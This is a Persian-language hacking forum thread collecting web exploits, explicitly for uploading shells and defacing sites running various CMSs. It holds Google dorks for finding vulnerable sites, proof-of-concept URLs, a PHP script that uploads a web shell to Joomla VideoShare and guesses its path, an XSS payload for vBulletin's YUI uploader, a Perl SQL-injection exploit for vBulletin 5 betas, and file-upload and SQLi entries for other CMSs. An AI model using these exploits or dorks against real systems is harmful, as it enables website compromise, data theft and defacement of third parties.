تاپیک جامع اکسپلویت ها

[DeMoN]

درود بر تمامی عزیزان گارد ایران.

در این تاپیک اکسپلویت های مختلف قرار میگیرند.

اکسپلویت هایی از قبیل آپلود شل و دیفیس در CMS های مختلف.

 

قوانین تاپیک:

1-اسپم ممنوع

2-طرح سوال در بخش مربوطه.

3-چیزی به جز اکسپلویت در این تاپیک قرار نخواهد گرفت.

موفق باشید.

############################################################################################

Wordpress Plugin Slider Revolution 4.1.4

سلام

از طریق باگ پلاگین Slider Revolution می توان فایل config.php را دانلود و اطلاعات DataBase را مشاهده کرد.

DORK:

This is the hidden content, please

• ورود
• یا
• ثبت نام

POC

This is the hidden content, please

• ورود
• یا
• ثبت نام

DEMO

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

[DeMoN]

 Joomla Aclsfgpl Shell Upload

[+] Author: TUNISIAN CYBER

[+] Exploit Title: Joomla Component com_aclsfgpl File Upload Vulnerability

[+] Date: 07-01-2014

[+] Category: WebApp

[+] Google Dork: :inurl:"index.php?option=com_aclsfgpl" add_form

[+] Tested on: KaliLinux

[+} Friend's blog: www.na3il.com

########################################################################################

+Exploit:

You can upload file (.php/.php.jpg...)

+P.O.C:

127.0.0.1/index.php?option=com_aclsfgpl&Itemid=[num]&ct=servs1&md=add_form

Shell path:

copy shell pic link or 127.0.0.1/components/com_aclsfgpl/photos/

Demo:

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

./3nD

[DeMoN]

Joomla VideoShare Shell Upload

-----------------------------------------------------------------------------------------------------------------------------------------

Google Dork : inurl:/components/com_hwdvideoshare

Exploit : depends fonction date() Same country, it's ideal.Attention at the time on the target and on the pc which attack.

-----------------------------------------------------------------------------------------------------------------------------------------

PostShell.php <?php $uploadfile="lo.php.vob"; $ch = curl_init("http://www.exemple.com/components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; echo "<br />"; $i = 0; for ($i=1;$i<9999;$i++) { $n = 4; $num = str_pad((int) $i,$n,"0",STR_PAD_LEFT); $filename = date('YmdH').$num.$uploadfile; $url = "http://www.exemple.com/tmp/".$filename; $c = curl_init("$url"); $postResult2 = curl_exec($c); $info = curl_getinfo($c); $httpcode = $info['http_code]; if($httpcode == 200){ echo $url; curl_close($c); exit; }

[DeMoN]

vBulletin YUI 2.9.0 Cross Site Scripting

[+] Author: TUNISIAN CYBER

[+] Exploit Title: vBulletin YUI 2.9.0 Cross Site Scripting vulnerability

[+] Date: 09-01-2014

[+] Category: WebApp

[+] Google Dork: :inurl:"clientscript/yui/uploader/assets/"

[+] Tested on: KaliLinux

[+} Friend's blog: www.na3il.com

########################################################################################

+Description:

YUI is a free, open source JavaScript and CSS library for building richly interactive web applications.

Used by vBulletin.

+Exploit:

YUI suffers from an xss vulnerability.

+P.O.C:

127.0.0.1/[PATH]/clientscript/yui/uploader/assets/uploader.swf?allowedDomain="})))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf

Demo:

This is the hidden content, please

• ورود
• یا
• ثبت نام

)))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf

This is the hidden content, please

• ورود
• یا
• ثبت نام

)))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf

This is the hidden content, please

• ورود
• یا
• ثبت نام

)))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf

This is the hidden content, please

• ورود
• یا
• ثبت نام

)))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf

Patch:

Upgarde to 3.X Version.

./3nD

[DeMoN]

 vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

#!/usr/bin/perl

use LWP::UserAgent;

use HTTP::Cookies;

use HTTP::Request::Common;

use MIME::Base64;

system $^O eq 'MSWin32' ? 'cls' : 'clear';

print "

+===================================================+

| vBulletin 5 Beta XX SQLi 0day |

| Author: Orestis Kourides |

| Web Site:

This is the hidden content, please

• ورود
• یا
• ثبت نام

|

+===================================================+

";

if (@ARGV != 5) {

print "\r\nUsage: perl vb5exp.pl

This is the hidden content, please

• ورود
• یا
• ثبت نام

VBPATH URUSER URPASS MAGICNUM\r\n";

exit;

}

$host = $ARGV[0];

$path = $ARGV[1];

$username = $ARGV[2];

$password = $ARGV[3];

$magicnum = $ARGV[4];

$encpath = encode_base64('http://'.$host.$path);

print "[+] Logging\n";

print "[+] Username: ".$username."\n";

print "[+] Password: ".$password."\n";

print "[+] MagicNum: ".$magicnum."\n";

print "[+] " .$host.$path."auth/login\n";

my $browser = LWP::UserAgent->new;

my $cookie_jar = HTTP::Cookies->new;

my $response = $browser->post( 'http://'.$host.$path.'auth/login',

[

'url' => $encpath,

'username' => $username,

'password' => $password,

],

Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',

User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',

);

$browser->cookie_jar( $cookie_jar );

my $browser = LWP::UserAgent->new;

$browser->cookie_jar( $cookie_jar );

print "[+] Requesting\n";

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',

[

'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',

],

User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',

);

$data = $response->content;

if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };

print "\n";

exit 1;

[DeMoN]

Web eXperts Shell Upload / SQL Injection

[+] Author: TUNISIAN CYBER

[+] Exploit Title: Web eXperts FileUpload/SQLi vulnerabilities

[+] Date: 14-01-2014

[+] Category: WebApp

[+] Google Dork: :intext:"Website Design & Developed By Web eXperts"

[+] Tested on: KaliLinux

[+} Friend's blog: www.na3il.com

########################################################################################

+Exploit:

Web eXperts suffers from a File Upload/SQLi vulnerabilities

1/File Upload:

+P.O.C:

127.0.0.1/[PATH]/addons/imagelibrary/insert_image.php?wysiwyg=

Shell path:

site.ltd/uploads/h4x3d.php.jpg

2/SQli:

127.0.0.1/products.php?category_id=sql

Demo:

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

[Sia-Turk]

#######################################################

# [+] Title : Turkish Radyo CMS Sql Injection

# [+] Date : 07/11/2015

# [+] Tested on : Kali Linux - Windows 7

# [+] Category : webapps

# [+] Platforms: php

# [+] Google Dorks : inurl: haberoku.php?id=

# [+] Admin page : www.site.com/admin/

# [+] Exploit Author : M4ni4c

# [+] Team name : Azerbaijan Cyber Army

# [+] The Official Members : KRONiQS , NiKO , RiKO , M4ni4c , DADO , D4RT0N , Jason

# [+] Contact : fb.com/M4ni4c , fb.com/azecyberarmy , m4ni4c@box.az

# [+]Demo Sites:

#

This is the hidden content, please

• ورود
• یا
• ثبت نام

#

This is the hidden content, please

• ورود
• یا
• ثبت نام

#

This is the hidden content, please

• ورود
• یا
• ثبت نام

#######################################################